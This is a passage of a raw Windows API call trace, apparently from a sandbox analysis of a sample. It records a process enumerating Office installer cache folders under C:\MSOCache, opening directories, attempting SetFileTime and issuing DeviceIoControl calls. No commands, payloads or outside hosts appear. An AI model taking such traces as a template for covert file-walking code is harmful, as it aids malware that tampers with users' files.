lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0040.601] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0040.601] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.601] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0040.601] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0040.601] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0040.601] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0040.601] GetLastError () returned 0x12 [0040.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3868) returned 1 [0040.601] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0040.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3970) returned 1 [0040.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d76d8) returned 1 [0040.602] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0040.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d76d8 [0040.602] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.661] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0040.661] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0040.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0040.661] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0040.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0040.662] NtClose (Handle=0x164) returned 0x0 [0040.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d76d8) returned 1 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d76d8 [0040.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3970 [0040.662] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0040.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3868 [0040.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5288 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3d90 [0040.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d52a8 [0040.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3e98 [0040.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0040.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d52c8 [0040.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3fa0 [0040.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0040.663] GetLastError () returned 0x12 [0040.663] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0040.663] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0040.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0040.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0040.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0040.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0040.663] GetLastError () returned 0x12 [0040.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3970) returned 1 [0040.663] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0040.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3868) returned 1 [0040.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d76d8) returned 1 [0040.664] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0040.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d76d8 [0040.664] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.664] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0040.664] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0040.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0040.664] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0040.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0040.664] NtClose (Handle=0x160) returned 0x0 [0040.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d76d8) returned 1 [0040.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0040.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d76d8 [0040.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3868 [0040.664] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0040.664] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.665] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d3970 [0040.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d52e8 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d40a8 [0040.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.665] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5308 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d41b0 [0040.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.665] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5328 [0040.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d42b8 [0040.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.665] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0040.666] GetLastError () returned 0x12 [0040.666] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0040.666] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0040.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0040.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0040.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, 